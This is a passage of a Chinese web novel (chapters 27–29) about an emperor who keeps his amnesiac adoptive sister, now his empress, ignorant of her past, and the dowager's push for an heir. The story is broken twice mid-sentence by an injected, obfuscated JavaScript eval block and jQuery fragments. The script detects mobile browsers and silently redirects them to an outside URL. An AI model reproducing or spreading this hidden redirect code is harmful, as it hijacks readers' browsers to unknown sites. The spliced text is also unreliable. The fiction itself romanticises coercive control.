在她回答完之后,面前的男人看着她,露出了一个媜珠无法形容的畅快的笑意。
他今晚好像很高兴。
27. 第 27 章
他毕生最爱的是她,却也时常会恨她。
恨她从未真正和他站在一起、从未坚定地选择过他。
在他和张道恭之间,她想要选择的丈夫不是他。
在他和她的那些庶出兄长们之间,她最终选择的兄长不是他。
在他和她那些同父异母的兄弟姐妹、叔父堂兄弟们之间,她更坚定的选择的亲人也不是他。
所以她疯了一样非要想嫁给张道恭;所以在他杀了她的那些叔父堂兄们之后,她对他恨如入骨,百般怨怼,说他毁了她的家。
可她从来也不懂他的苦衷,从来不懂他也是为了她和她母亲好。
诚然他也有自己的野心私欲,可他所做的一切,从未悖逆过她和她母亲的利益;他杀再多的人、做再多所谓大逆不道的事情,他从未伤害过她。
为什么她就是不懂呢?
*
“陛下,陛下从前都不喜别人在妾面前提起兖国公主,为何今夜陛下自己却同妾说起公主了呢?”
周奉疆面上还未消散的笑意随着媜珠问出的问题瞬间隐去。
周媜珠并没有那么笨。即便失忆,可她并不迟钝。
她看向皇帝,说话时的姿态和语气都是那样无害,好像只是家常闲聊一般,
“陛下陡然对妾问起兖国公主的事情,是因为当年的兖国公主没有选择陛下、更没有理解陛下,是吗?兖国公主是不是伤了陛下的心,所以陛下多年后仍然耿耿于怀,不能释然?”
媜珠的眸子里浮上一层雪雪的光亮,“陛下,妾说的对不对?”
周奉疆神色里起先的那点从容,在她的朱唇一张一合缓缓吐出的一字一句里寸寸崩塌。
什么是心魔?
不过如此而已!
到底隔了这么多年,她却还是能这样轻轻松松地刺痛到他心里去。
他不答她,媜珠上前牵住他的衣袖,语气中多了些固执,
“陛下不肯回答妾,所以妾猜的原来都是真的了?那妾还想多问陛下几句,公主当年之所以能伤陛下的心,是因为陛下曾经待公主也格外宠爱吧?以陛下为人,若非真的在意、宠爱公主,仅仅公主的三言两语,如何能让陛下如此伤心、难以释怀?若非曾经和公主兄妹情深、情谊深厚,陛下何故追封公主为国公主,又赐公主谥号?”
她不仅不笨,其实还很聪明。
周奉疆的气息乱了,媜珠瞥见他胸膛剧烈起伏了几下,下颌紧绷,像是被她给逼急了的样子。
他不说话,不回答她,但是也没有对她发难、斥责她多言。
所以媜珠已经从他的反应里看到了答案。
不知是如何鼓起的勇气,媜珠仍然在“乘胜追击”,她顿了顿,抓紧了皇帝的衣袖,继续问道,
“陛下,妾还在猜测,您几个月前和妾说兖国公主生性娇纵无礼,待家中姊妹亲人皆傲慢非常,时常欺辱旁人。妾虽不记得过去兖国公主是如何待妾的了,可是妾敢断定,至少公主生前待陛下一定是极好的。若不是公主真心待陛下好,陛下后来便不会宠爱公主,更不会因公主而伤心,对不对?”
周奉疆从来没有想过,原来有朝一日自己可以狼狈至此,在已经失忆的她面前都会被她轻轻松松打得这样溃不成军。
他今夜的情绪已经跌至谷底,疲倦到一个字都不想再说。
到这个时候,他才忽然发现自己从前有多明智,今夜又有多愚蠢。
从前他管她管得那么严,不准旁人在她面前随便乱提一个字、乱说一句话,实在是明智之举,以她的心思细腻聪敏,若是她之前就从旁人口中听过这些故事,只怕假以时日,她早就能推算出所有的一切本来的真相。
也笑自己的疏忽和错漏,为了逞一时之气,对她多说了这么多不该说的。
他问了她两三句,却招来了她喋喋不休的一串问题,让自己在她面前如此狼狈。
只有她,从来也只有她,明明是个手无缚鸡之力的柔弱女子,只靠着朱唇里轻轻吐出的只言片语就能让他一溃千里。
昔年张道恭命朝廷中书省官员做《讨周贼檄》,传檄天下征讨他,那檄文中对他极尽攻讦谩骂侮辱,骂他克父克母,所以他生父早逝、生母为娼、血脉低贱;骂他杀他养父的亲子亲弟亲侄,是逆道乱常、怀恶不悛、天地不容、恶积祸盈、天地共谴。
包括其他各地节度使、藩王对他所做的各种檄文林林总总不下十余篇,却从未有一字半句能激他怒火。
天下文人幕僚极尽笔墨心血,比不过周媜珠只是望着他低声问一句,“陛下,妾说的对么?”。
这才是真能戳到他五脏六腑里的伤人之言。
*
周奉疆越是不理她,媜珠越是心潮澎湃,似乎有问不完的话,她还想问问他,陛下,当年兖国公主之所以和您决裂,恐怕不只是因为她恨您杀了她的兄长叔父们吧?
是不是还因为张道恭?
因为兖国公主想要嫁给张道恭,而您不准她嫁,所以公主更加怨恨您。
但媜珠没有机会再多问了。
皇帝蓦然拂袖而去,深夜离开了他们的寝殿,只留下媜珠一个人待在原地。
她手中攥着的他的衣袖被扯开时,媜珠一时身形不稳,踉跄了下,皇帝却头也不回,看也没有看她一眼。
如果是往常,他是不会这样对她的。
皇帝似乎生气了。
他走远后,外间侍奉的佩芝有些不明所以地步入内殿,脸色焦急地问媜珠:“娘娘,陛下这是……?这夜已深了,您和陛下这是怎么了?”
皇帝走的时候脸色不好,而且深夜负气乍然离开,更是从未有过的。
哪怕是媜珠身上正行经时不能侍寝,他都照旧宿在椒房殿里陪她,今晚这样,不知又是闹了什么不痛快……
佩芝小心地觑了觑媜珠,见媜珠神容十分坦然,没有半点触怒了皇帝的悔意和不安,甚至唇畔还凝着一点微微的笑意。
媜珠拂开了佩芝的手,转身在自己的梳妆台前坐下,神色自若:“无事,伺候我梳洗就寝吧。”
佩芝也不好再多说什么。
皇帝这天夜里是一个人在宣室殿的书房里将就歇下的。
实际上,他的离开并不是生了媜珠的气,他也没有恼怒媜珠的理由。
无非是不敢面对而已。
他知道,自己再跟她待下去,他只会在她面前暴露更多的破绽和弱点。
她比他想象中的还要聪颖许多。
——他今晚应该一个字都不对她多说的。
*
翌日便是除夕了。
皇帝在除夕前夜忽地无故从椒房殿内离开,在外人看来,这是很下皇后脸面的举动。
故而这事少不得第二天一早就飘进了承圣殿的赵太后耳中。
赵太后深深叹气许久,在清晨时派人去请皇帝至承圣殿内说话。
皇帝对赵太后这位养母平素多是礼数周到,敬重有加,赵太后寻见皇帝,皇帝无不去之理。
直到坐到了承圣殿里,皇帝和赵太后母子二人相对而坐时,皇帝的脸色仍然不怎么好看。
赵太后缓缓地开口试探道:“媜媜那孩子,自小是被咱们一起惯坏了,你也是亲手带着她长大的,皇帝你有胸吞六合之量,何必和她一般见识。”
皇帝摇了摇头,“太后。”
不知从什么时候起,他很少再唤她“母亲”了,都只叫她“太后”。
他说,“朕并非是生了媜珠的气,媜珠也没有触怒朕,只是……”
他将昨夜的事轻描淡写地说给了赵太后听,说来说去,不过还是他在害怕,害怕媜珠在没有爱上他的时候就想起那些过往不该想起的记忆罢了。
到时候,就连他和她之间这点虚假的、可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640970|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怜的温存和欢愉都将不复存在。
赵太后听罢并无异色,同样一副淡然之态,然而她向皇帝给出的建议却有些语出惊人。
“你若是怕,就叫她先给你生一胎吧。你们有个孩子了,以后还怕什么?总归看在孩子的面上,即便媜媜想起了些什么,她也不会再如何了。”
皇帝今年已经二十七八,眼看着快要到了而立之年,膝下竟没有丁点血脉子嗣,后宫也唯有皇后一人。
一个崭新的帝国,若是还没有后嗣,总归看起来有些风雨飘零的不稳妥,不仅叫朝臣们不能心安,就是天下大魏臣民也有些惶惶。
旁人不敢说皇帝什么,那天下人口诛笔伐的剑锋也迟早要指向中宫皇后的脑袋上的。
事实上,光是现在,就已经有不少人在隐隐不满皇后的肚子失职了,只是碍于她的盛宠和皇帝的溺爱,所以才无人敢提而已。
周奉疆抬头看了赵太后一眼,声线有些不悦:“太后,媜珠是您的亲生女儿。”
她是觉得他真的不懂她心里打着什么算盘么?
旁人担心他无嗣,姑且他还能说这些人在“忧国本”,但赵太后在这乱出馊主意,则单纯只是这女人在愁着自己的皇太后地位不稳。
他不是她的亲生儿子,哪怕如今相安无事,面上是一派母子情深,可谁也拿捏不准这母子情能深到什么时候。
身为皇太后,她现在最想做的当然就是手头有个自己的小皇子,最好还是她身为皇后的亲生女儿所生的皇子。
那孩子若是能快点生下来,既是嫡子又是长子,理所应当都该被立为太子,而且还是她的亲孙子,怎么说以后也要认真孝敬她这个亲祖母,可比没有血亲的养子要更有用多了。
届时她才能真的心安,继续宽心享受起自己的荣华富贵,还能高高兴兴盼着当太皇太后那一天。
——至于她女儿怎么样,她还管得了多少?
周奉疆不想再听她啰嗦,起身就要离开。
“皇帝当我只是为了我自己吗!”
赵太后语气急促地唤住了他,周奉疆离去的脚步顿住。
赵太后的声音低缓了下去,说话时有了些哀沉的无奈,
“我不算什么有用的母亲,我的媜珠……更算不上是什么聪明绝顶的孩子,她也逃不出你的手心。她这辈子能怎么样,不过最后全凭你的良心了。你多爱她一日,她就能多好过一日。史书里那么多工于心计、精明能干、母族强盛的皇后宠妃们,最后也没见她们能在男人手下保全余生。媜珠尚且还没有她们一半的心计城府,以后更不知下场如何。我只是想你给她一个孩子,让这孩子以后能成为她的依仗……”
周奉疆烦躁地捏了捏自己的眉心。
热热闹闹的年节里,他还专程跑来听赵太后啰嗦一通丧经,简直是闲得发慌。
他回首望向赵太后:“有子又如何?无子又如何?史书里有子却被废被杀的皇后难道少了么?太后,您不是说了么,媜珠这辈子依仗的是我对她的爱,只要我爱她,她就会永远尊贵无忧。与其替她求子,您不如多请神仙佛祖保佑保佑我们夫妻白首偕老,一生恩爱。”
皇帝走后,赵太后气得快要捶胸顿足,一手扶着一旁嬷嬷福蓉的手,一手私下里指着皇帝离去的背影骂道:“我说什么……我说什么……”
“你瞧啊,不是自己亲生的,总归没有半分用处,如今占着我的女儿,连对我一声母亲都不喊了。养子养子,不过是做做样子,竟没有半分真心!”
她对福蓉道:“所以我说,女人这辈子还是要有个亲生的孩子做依仗,再不成器,也比这半路来的养子中用些!”
福蓉也只能哀叹着劝她:“太后别多想了,陛下再怎么样,不是也比前头的河间王张道恭强了百倍不止么?您想想,不是这个道理?除了这个女婿、这个养子,谁还能捧您做皇太后呢。您是有大福气的人……”
28. 第 28 章
有时候想想,人呢,果然是永远都在贪得无厌,永远都会想要更多。
所以思来想去,哪怕已经成为天下人眼中贵不可及的皇太后,可赵太后这样的女人也总觉得人生处处皆遗憾。
遗憾为什么自己不曾得到丈夫全心全意、始终如一的爱;遗憾为什么今时今日坐在龙椅上的不是自己的亲生儿子。
她也会时常感到惶恐,这些年来不止一次地在心中感到焦虑,焦虑自己女儿的人生命数。
——是她把媜珠渐渐推到周奉疆的手里的,是她让这个外面来的养子慢慢惦记上了她的女儿。
她过去二十多年里所做的一切,到底对不对?
从媜珠出生之后,她就对丈夫周鼎后院中的其他姬妾通房、庶子庶女们满心戒备,总觉得这些贱妾庶孽们必然和她的女儿不是一条心,不可能真心待她女儿好。
什么所谓的兄弟姊妹手足,呸,不是一个娘生娘养的,根本一文不值。
所以她也不喜欢媜珠和他们凑在一处玩耍。
相反,她信任的是自己的养子周奉疆。
她总觉得,谁都会害她的女儿,只有这个养子还算是靠得住的,他没道理害媜珠。
何况当日她收养这个养子,盼望着这个养子能有出息,就是为了给自己、给自己日后的儿女多一重依仗和帮衬。
既然养都养他了,她当然希望养子和自己的亲生女儿感情深厚些。
她放任媜珠从小就和周奉疆在一起玩,媜珠才几个月,开始学会微笑、翻身、爬行、坐起,到摇摇晃晃的走路、略显笨拙的牙牙学语,周奉疆都亲自见证参与过。
他陪着媜珠时,媜珠确实从来没有出过任何意外。
身为兄长,他照顾这个妹妹分外用心,赵太后心中很满意。
这是媜珠那些所谓同父异母的血亲兄长们都做不到的。
比如说,媜珠三四岁的时候,有一次和她的几个哥哥们一道在凉亭里闲玩,她一时不慎,从湖心凉亭的栏杆下摔落了水中,而那几个庶出的兄长只顾着在一旁假惺惺地做惊慌失措状,却无一人搭手救救媜珠这个亲妹妹,都隔岸观火一般看着媜珠可怜兮兮地在水里挣扎。
还好那时她打发养子周奉疆去接媜珠回房吃饭,周奉疆寻至了湖边,见到媜珠的惨状,毫不犹豫地下水捞起了媜珠,这才把媜珠救了上来。
这件事至此让赵太后记恨心中,每每一想起就恨得咬牙切齿。
想起一次,就要和身边的婢子福蓉她们骂一次:“我们媜媜要这些亲兄长到底有什么用?这些人连周奉疆的半根手指头也比不过。媜媜从小和她哥哥一处长大,她哥哥带她时,她连吐奶都没吐过一次。怎么这些亲兄长们一个个就知道害她?可见不是一个娘养的,永远都不是一条心,别说比不过我的养子了,就连外人也没他们这样狠毒!”
媜珠善良单纯,并未因此事怪罪那些庶兄们,反而还会在她父亲周鼎面前为庶兄们说些好话。
赵太后有一回实在是被媜珠气得不行,把媜珠拽回了自己房里,又叫来养子周奉疆,一手指着养子,骂女儿道:
“谁是你兄长?这才是你兄长,亲得不能再亲的兄长!除了他,谁对你是真心的?谁会管你的死活?你巴巴地赶上去认他们做什么兄长?我的儿呀,你糊涂啊,你娘就给你养了这一个兄长,你以后记他的好处、在你父亲面前替他说好话就行了,你管别人做什么!”
大约是终于被母亲骂醒了一些,天真单纯的媜珠也终于清醒了点,从此之后和那些庶出的兄长姊妹们在一起时,也知道留点心眼了。
她有一些小秘密,一些不太愿意告诉旁人的心里话,总是只会告诉周奉疆。——例如说,她有多喜欢河间王张道恭,她梦想着以后一定要嫁给这个男人。
虽然和家中别的姊妹们面上仍旧和和气气的,仿佛什么芥蒂都不曾发生过,但她心中最亲的、最偏向的还是周奉疆。
闺阁里做女孩儿的时候,她从前给过周奉疆很多银钱,赵太后都默许了。
因为媜珠得她父亲周鼎宠爱,周鼎隔三差五想起来赏赐给她的奇珍赏玩之物从来就没断过,给她的月例银钱也是最丰厚的。
媜珠很少有需要花钱的地方。她总会把这些钱在手里聚一聚,攒够了一个匣子的碎金碎银,然后全都拿给周奉疆。
她说,兄长现在跟着父亲周鼎在外面做事,不管是军营里还是官衙内,来来往往,人情打点,男人总是少不了要花钱的。
只有手头有闲钱,才有动身的资本,才能积蓄自己的人脉,要不然不管在何处都是寸步难行。
她想让阿兄在外头过得轻松些,把她所有的都拿给阿兄。
周奉疆拒绝过她,她反安慰他说,等到阿兄日后出人头地,封侯拜将了,再多多给她添些嫁妆,当做对她的补偿就是了。
赵太后那时对此深以为然,看着一双儿女“兄妹情深”,互相帮衬,心下感到十分满意。
她会对女儿说:“我的媜媜这才算聪明了,你帮着你兄长,待你兄长来日有了些出息,他还不是要对你好?你那些庶出的兄长们,和你都不是一个娘拉扯大的,以后谁还会管你死活?”
又转头对周奉疆说:“我的儿,母亲当年瞧你就绝非池中之物,蛟龙得云雨,终有出头日。你母亲没有亲儿子,你妹妹那些亲兄长……哎,眼见有了还不如没有。等母亲以后老了……媜媜儿嫁了人,还是少不得要靠你照看呢。”
后来的确如她所愿,养子有了大出息,作为对媜珠当年情意的回报,彼时已是北地霸主的周奉疆亲自替媜珠准备了一份极为丰厚的嫁妆。
就算是皇帝老子嫁他的公主闺女,也难寻这样的排场。
媜珠出嫁之日,那是真正十里红妆,珍宝珠翠,不可胜数。
只不过她是在失忆的情况下被人嫁到了她兄长的床榻上,成了她兄长的妻。
而身为母亲,她那时什么都做不了,只能目睹和默认这一切的发生。
……
也许直到周奉疆彻底暴露出他对媜珠的强占欲时,赵太后才意识到她这些年在亲手酿成一桩怎样的祸事。
她自认为想要养子和亲生女儿兄妹情深,以为自己是替女儿找了个靠得住的兄长做靠山,却完全忽视了在周奉疆的视角里,她女儿从来都不是他的亲妹妹。
媜珠出生时,周奉疆已经是个记事了的孩子了,是不是他的“亲妹妹”,是不是和他有兄妹人伦之义的亲人,他怎么可能不懂?
她这个养母养了他这么多年,他和她也不过是互相利用的利益共同体,他在心里从没拿她当做亲生母亲。
他又怎么会拿媜珠当亲妹妹?
既然不是他的亲妹妹,那么在他眼里,媜珠就单纯只是一个女人。
一个陪了他很多年的,他很喜欢的、可以被他用权势得到的女人。
*
赵太后哀哀戚戚地又叹了许久的气,这才在福蓉的搀扶下起身去换了件皇太后礼衣,预备着好好过这个除夕日,等着宫外外命妇们入宫向她请安叩首。
她思来想去许久,还是觉得要有个亲孙儿最紧要,又窃窃私语地和福蓉议论:
“如今这养子是不大靠得住了,他并不拿我真心当个亲娘孝敬。我那亲生女儿……也不中用。到底还是有个亲孙儿好,有些血脉亲缘,总比没有强。以后我的寿数若是长些,兴许还能有做太皇太后的那一日,福蓉,你说是不是?”
福蓉自然是点头附和:“婢子也盼着皇后殿下早得龙嗣呢。”
说来说去,皇帝也并没冤枉了赵太后,她在意的还是这个罢了。
苦了谁也不能苦了她那颗盼做太皇太后的心。
*
除夕节令,不管怎么说,帝后二人都没有不相见的道理。
晨起时,皇帝从赵太后宫中出来,至太熙殿受百官祝岁朝拜。
媜珠今天起得则比平日还稍晚了些。
她以为昨夜自己一人孤枕,独守空房,身旁少了那个男人的存在,难免会睡得不大习惯,却没想到自己满枕好眠,一夜无梦直至天明。
直到佩芝过来唤她起身梳妆,媜珠才从榻上起了身。
媜珠的容色红润,没有半点憔悴的意思,似乎也没有为皇帝昨夜的离去而伤怀过什么。
她好像根本就不在乎。
这场情爱里来来去去纠缠了一场,陷进去的大约只有皇帝一个人。不管皇帝如何爱她、对她好,她总是淡淡的,不甚在意的模样。
得宠也好,失宠也罢,全然不在她考虑的范围之内。
佩芝望了望她,心里有些杂思,总归是心疼皇帝的,只是没当着媜珠的面说,如往常一般侍奉她洗脸梳头。
温热湿润的柔软巾帕敷到面上,媜珠深深呼出一口气,阖了阖眼,取下面上的巾帕丢回水盆里。
“见我没有为陛下的冷落而伤心,嬷嬷似乎不大乐意呢。”
媜珠头也不回,似笑非笑地吐出一句话来。
面对皇后前所未有的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640971|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发难一般的语气,佩芝的心陡然一紧,手中拿着的玉梳都抖了下,险些没握住。
“婢不敢!娘娘……娘娘这话是什么意思,叫婢心下惶恐呢。”
媜珠仍旧没有回头看她。
她静静地凝望着铜镜中自己的容颜:“没什么,玩笑话罢了。”
殿内又是一片寂静,佩芝再不敢开口说话。
洗脸毕,媜珠忽然转头望向佩芝,不知是不是刚洗过脸的缘故,她眼尾似是凝着点点水光,也不知是水还是泪,只是她的态度忽然软了下来,微微耸下的纤薄肩膀里,竟然还能看出些落寞无助的样子。
“陛下腻乏我了,我如何不在乎,我不过是怕你们宫人都在心里笑话我,所以装作不在乎罢了。我昨夜不过和他提了兖国公主几句,他便不愿搭理我。陛下告诉我说,兖国公主生前性情不好,还常常欺负我,可如今连他也和兖国公主一样欺负我……他以后是不是再也不会来椒房殿了?我是不是该失宠了?我这个皇后做得还有什么意思!”
佩芝一听这话,连忙上前扶着媜珠的身子,一手抚着她的肩劝慰道:“娘娘说的这是什么话!怎么会呢!陛下最宠爱的便是娘娘了,陛下怎么舍得呢……陛下昨晚兴许是有些政事要忙,怎么会是生了娘娘的气呢……”
但凡是女人,哪有能不在乎丈夫的宠爱的。
原来这看上去一直温婉端庄、无欲无求的皇后,心里也不是真的不在乎天子恩宠。
佩芝面上安抚着她,心里反而松了一口气。
佩芝被她的反应给蒙混了过去,媜珠也露出了一个浅浅的微笑。
*
媜珠是在中午的除夕宫宴上见到的皇帝。
她自是盛装华服而来,美艳不可方物,皇帝上前握住了媜珠的手,牵着媜珠在他身侧坐下,轻声安抚媜珠:
“昨夜是朕不好,宫娥们说你昨晚没睡好,今日晨起时还哭了,是朕让媜媜伤心了。”
媜珠故意怯怯地看了他一眼:“妾无德失言,陛下不怪罪妾惹了陛下生气就好了……”
皇帝对她怜惜愧疚之意更甚,握着她手的手掌紧了紧:“媜媜没有惹朕生气,你什么都没做错,是朕的错。”
及开宴,有宫娥躬身在天子面前奉上一盘刚刚煮熟捞起的饺饵,一共一十二只,合一年十二月之数。
这是北地冀州周家从前过除夕的旧俗,因为三四代人都没变过,后来也就这么传下来了。
从前在冀州周家,每岁除夕开宴时,这盘饺饵都是被端到周家家主跟前的,有时家主膝下子嗣兴盛,就把这些饺饵赏赐给儿女分食,总有一只饺饵的肉馅里被塞了枚铜钱,哪个孩子吃到了,这一年就是最有福的孩子,也被视为家中福星。
若是家主正年轻新婚,膝下尚无子嗣,便同新婚妻子共分食之,周遭侍奉的婢子们同贺家主与主母早得贵子,开枝散叶。
媜珠没有生养过,但总归听说过冀州周家传下来的旧俗,这会儿看到这盘饺饵不免感到压力极大,总觉得人人都在盯着她的肚子催她生一样。
她抿了抿唇,起身欲侍奉皇帝食饺饵,皇帝却将那碟子朝她面前推了推,叫她先吃。
她遵从皇帝的意思,夹起一枚饺饵送进口中,还不待细嚼两下,忽然被一枚坚硬的铜钱磕了下牙齿,赶忙用绢帕掩着唇,有些狼狈地把那崭新的铜钱吐了出来。
那是一枚很新很新的“龙章通宝”,是皇帝登基立国以来,今年夏日里长安府铸钱司刚铸出来的钱币。
在媜珠错愕不解的眼神中,皇帝再度握住了她的手,和她十指相扣。
“这枚钱币,乃我大魏一朝立国以来所铸的第一枚钱,既被媜媜吃到了,那媜媜便是最有福气的人,朕将它赠与你做压岁钱可好?”
媜珠愣愣地望着他,心莫名鼓动了起来:“……从前,家里面有小孩子的时候……才会在饺饵里放铜钱的。陛下,陛下……”
皇帝的声音格外温柔:“你瞧你今日早上,过除夕还掉眼泪,和小孩子有什么分别?自然得照养小孩子的样子哄你开心。”
*
下头的人听不到高台之上帝后二人在说些什么,可坐在一旁听了他们满耳朵“小孩子”“小孩子”的赵太后却头都大了。
她也想要小孩子,可她想要的是实实在在能抱在自己怀里的亲孙子,是可以被封为太子、来日让她成为太皇太后的亲孙子,而不是看见自己长那么大的女儿还被男人当孩子一样哄着玩的。
着实是闹她的心。
29. 第 29 章
大部分时候,只要周奉疆捧着她、护着她,其实媜珠并未受过什么罪、生过什么气,婚后她的每一日都过得十分平静安然。
这有个前提,那是因为她的“婆婆”也没有在她面前摆过什么婆婆的谱,没有隔三差五把她叫过去站规矩之类的磋磨她的性子。
赵太后一直以来对她这个儿媳都是极好的。
过去几年里,媜珠虽然嫁给了周奉疆,但他常年征战在外,只留媜珠在冀州家里伺候婆婆、主持家事。
那段时间里,赵太后对她这个初为人妇的儿媳格外宽容,不仅免去她的晨昏定省,让她整日在家里想几时醒就几时醒,而且也甚少把她叫到她跟前伺候她吃饭洗脸云云。
不过今年除夕,赵太后似乎心情有些不快,脸色也不大安宁。
中午的宫宴毕,晚间又有家宴,诸王、王妃与公主、驸马们于家宴上向皇太后祝寿贺岁。
有几个小孩子被领上前来给赵太后磕了头,口中唤着“祖母”“外祖母”的,直叫得赵太后又一阵头疼心烦,吵得她脸色不虞。
——毕竟和自己压根没有半分血亲,说到底是她丈夫周鼎和别的女人的孙儿外孙,她能摆出什么好脸色来。
若是媜珠宫里养的那只金丝猫灿娘子跳到她怀里,她倒还能给个笑脸儿摸一摸那猫。
赵太后本就应媜珠没有生养而失望,这会儿再见到这些蹦蹦跳跳的孩子,心里火气更大,再想到她丈夫和妾室们生的庶子庶女们成婚后都生下了一堆孙辈,独她的女儿还不能生,真是越想越不得意。
太乐署的署令上前请皇太后赏乐,赵太后按照惯例点了一曲《尧天舜日》,是一曲贺四海升平的吉乐。
未等曲毕,她便沉着一张脸起身离席,说是累乏了,没什么意思,要回宫歇下。
媜珠连忙起身:“母亲!除夕乃是要守岁祈福的日子……”
她想说,若是赵太后累了,那她身为儿妇,自然要去跟着侍奉她的。
但还不等媜珠说完,赵太后就打断了她:“罢罢罢,我一个老婆子,还要凑什么热闹守岁,早歇下便是。那是人家家里子孙兴旺热闹的,一堆小孩子陪着闹着,儿孙满堂,做长辈的才有守岁的兴致,否则如我一般的人,谁不想早点歇息了。”
说罢她便在福蓉的搀扶下头也不回地离去了。
媜珠尴尬得愣在原地,好半晌都说不出话来,既是尴尬又是委屈,尤其是在这些宗亲皇戚们面前,赵太后直截了当地把她没有子嗣的事拿出来说,她面皮又薄,如何受得了这样对待。
不止是皇后尴尬,赵太后除夕里乱发这样的脾气,叫穆王和颍川公主他们面上也很没光彩。
按理来说,哪怕皇后没生,可是穆王和颍川公主他们的孩子,那都是赵太后的“亲孙子”“亲外孙”,都要叫她一声祖母外祖母的,人家才给她磕过头拜过岁,她就冷言冷语地暗指自己膝下没有孙辈陪伴,没把这些孩子放在眼里,岂不是活生生在打这些王爷公主们的脸。
尤其是太后说这话的时候,穆王的长子还刚跑过去给太后背了首贺岁诗讨她欢心。
皇后受委屈了,有皇帝立马过去安抚哄慰;但王爷公主们心里有气,一时便不知往何处去发,只能再往肚子里咽。
这场家宴遂在这样略显尴尬的氛围里寥寥散场,皇帝一路上握着媜珠的手,带着媜珠回到椒房殿内更衣梳洗歇下。
直到宫人们全都退下了,媜珠这才伏在他怀里哽咽起来:
“陛下!并非妾不愿为陛下生儿育女,太医署的医者们都说妾的身子康健无事,为什么妾就是一直没有身孕?”
她的脸皮是真的薄,又兼心思细腻柔软,谁对她说了一句重话都能让她暗自难过许久无法忘怀。
而子嗣一事,又刚好是她最不能提的另一桩心事。
周奉疆太了解她了。
他知道,一直以来,她都在努力地迎合着旁人对她的期待,总会下意识地把自己塑造成旁人想要的样子。
从小开始,她就有这样善良无害的性情,是她父亲期待的乖顺的女儿,是家中其他兄弟姐妹们所期待的好姐姐、好妹妹。
现在做了皇后,她同样也在努力迎合着天下臣民的期待,想要做一个旁人眼中合格的贤后。
别人说她应该替皇帝生育,她就常常为自己没有做到此事而感到愧疚不安。
周奉疆在心底叹息,媜珠啊,可是你又为什么总要在意别人的看法呢?为什么总要去满足别人对你的期待?
你只需要在意我一个人就行了,只要我们在一起,只要我们是相爱的,我会永远把你保护得很好,你想要做什么、过什么样的生活都可以,何必去在意那些无关紧要的人?
他亲了亲媜珠柔顺的发丝:“媜媜,咱们还年轻,三年五年有没有孩子有什么要紧,朕还舍不得让你早早就生育。有了孩子,便有一堆养育子女的烦心事,倒不如如今叫咱们清净几年。”
媜珠仍是抽泣:“那三年五年过去了呢?待妾已至人老珠黄之年,若是还不曾生养,妾又该如何?又有何面目再忝居中宫之位?”
“媜媜!”
周奉疆的语气放重了些,又唤了声她的名字,“不许说这样的话!”
“你是朕的妻子,是朕心爱之人,只要朕做一日的天子,你便是朕唯一的女人,唯一的皇后。不论是赵太后还是谁对你说什么,你都不必理会。”
媜珠倒是没有继续掉眼泪了,可神情还是有些闷闷不乐:“朝臣们就不会议论妾么?妾独专圣宠,却不能替陛下——”
“谁敢议论你半句,朕便砍了他们的脑袋挂在长安城楼上示众。”
“陛下!”
媜珠被他吓了一跳,“陛下不能……妾无德便罢了,如何能让妾连累陛下的声名……”
“朕可不是那些无能的亡国之君。朕要护着自己心爱的女人,更不必看任何人的脸色。只要有朕在,你生不生育、贤不贤良、有德无德,都无人敢撼动你的皇后之位半分。”
媜珠这会儿倒没有再多伤心什么了,她在他怀中仰首看着他:
“可是陛下,妾何德何能教陛下如此厚爱?陛下爱妾愈深,妾心中便愈是惶恐。”
这个问题的确是媜珠一直以来心中的疑问。
她知道自己根本没那么爱皇帝,但她也不得不承认皇帝对她确实是宠爱之至。
很多时候,连她自己都不能理解他为什么那么爱她。
不仅给了她几乎全天下女人都要羡慕的荣华,捧她坐上尊贵的皇后宝座,甚至除了她之外,他从来都没有过别的女人。
——对于这个时代的一个男人,尤其是一个位高权重无所不有的男人来说,实在是罕见的。
他已经爱她爱到心里眼里都没有再多半分的地方去放下别的女人了吗?
从前他在外面打仗的时候,媜珠就知道有很多人给他送过各种各样的女人。
偶尔他从外头回来,她也会平静地问他是否有带回家中的姬妾,是否需要她为他的姬妾们安排屋舍、奴仆过去伺候等等。
哪怕真的有,媜珠好像也没觉得有什么大不了的。这个世道的男人不都是这样的,何况是他呢。
然而周奉疆每次都无比认真地告诉他说,那些别人送来的女人,他看也没看一眼就叫她们哪来的回哪去,除了她之外,他从不想要别的任何女人。
可是这到底是为什么呢?她到底有什么值得他这样迷恋的地方?
“又说什么傻话?”
皇帝一手托着媜珠的后腰,将媜珠的身子扶起来了些,俯首亲了亲她的唇,“朕不爱你,还能爱谁?咱们青梅竹马相识了这么多年,过去一起经历过多少事情……点点滴滴,都只有你陪在朕身边。朕此生挚爱也只有你。”
媜珠叹息:“可过去的事妾都不记得了。”
也许她从前真的是个很好很好的恋人,所以才能被男人视作心头的一片白月光,娶到手里宠了这么多年,过了这么多年无忧无虑的好日子。
皇帝问她:“那现在呢?现在你可有像朕爱你一般爱着朕?你失忆之前的事忘也就忘了罢,这五六年的光阴里,咱们在一起相守的年岁呢?可有多爱上朕几分?”
媜珠勉强挤出几分笑意,素手在皇帝胸膛前轻推了一把,语气像是埋怨撒娇:
“陛下还好意思说呢,妾嫁与您这五六年的时日里,咱们相守的时光还不足半数,陛下过去常年征战在外,有时一年在冀州家里还不到三四个月,只留妾一人独守空闺,您叫妾怎么爱您?”
皇帝眯了眯眼睛:“真的?媜媜记得这么清楚?”
